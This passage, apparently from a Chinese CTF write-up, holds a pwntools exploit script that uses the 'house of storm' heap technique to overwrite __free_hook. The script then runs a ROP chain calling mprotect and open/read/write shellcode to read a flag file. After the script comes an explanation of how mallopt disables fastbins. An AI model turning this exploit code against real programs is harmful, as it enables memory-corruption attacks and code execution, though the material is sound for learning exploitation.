success(f"heap address => {hex(heap_address)}")
# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8) #2
add(0x18) #3
add(0x4f8) #4
add(0x18) #5
add(0x3f8) #6
add(0x18) #7
dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)
dele(2)
add(0x4f8) #2 rop
target = libc.sym.__free_hook - 0x10
edit(1,flat({
0x00:pack(leak+0x3f0)+pack(target+0x8), # bk
0x10:pack(leak2+0x20)+pack(target-0x20+3), # bk_nextsize
}))
edit(5,pack(leak)+pack(target)) # unsortedbin bk
add(0x48) #4
# 多种方法可以拿flag
# 1. rop 或 srop mprotect 修改栈为可执行,写入shellcode,orw
# 2. rop orw
mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
sc = asm(code)
r.raw(sc)
payload = flat({
0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
0xa0:pack(heap_address+0x450+0xa0), #rsp
0xa8:r.chain()
},filler='\x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)
# edit the bk & bk_nextsize
ia()
探究:fastbin 怎么被禁用的?
我还在好奇是怎么禁用fastbin的时候注意到init函数中的:
mallopt(1, 0);
第一个参数是选项,第二个参数是设置的值:
/*
mallopt(int parameter_number, int parameter_value)
Sets tunable parameters The format is to provide a
(parameter-number, parameter-value) pair. mallopt then sets the
corresponding parameter to the argument value if it can (i.e., so
long as the value is meaningful), and returns 1 if successful else
0. SVID/XPG/ANSI defines four standard param numbers for mallopt,
normally defined in malloc.h. Only one of these (M_MXFAST) is used
in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply,
so setting them has no effect. But this malloc also supports four
other options in mallopt. See below for details. Briefly, supported
parameters are as follows (listed defaults are for "typical"
configurations).
Symbol param # default allowed param values
M_MXFAST 1 64 0-80 (0 disables fastbins)
M_TRIM_THRESHOLD -1 128*1024 any (-1U disables trimming)
M_TOP_PAD -2 0 any
M_MMAP_THRESHOLD -3 128*1024 any (or 0 if no MMAP support)
M_MMAP_MAX -4 65536 any (0 disables use of mmap)
*/
这里是设置M_MXFAST = 0
,由此禁用了 fastbin
参考资料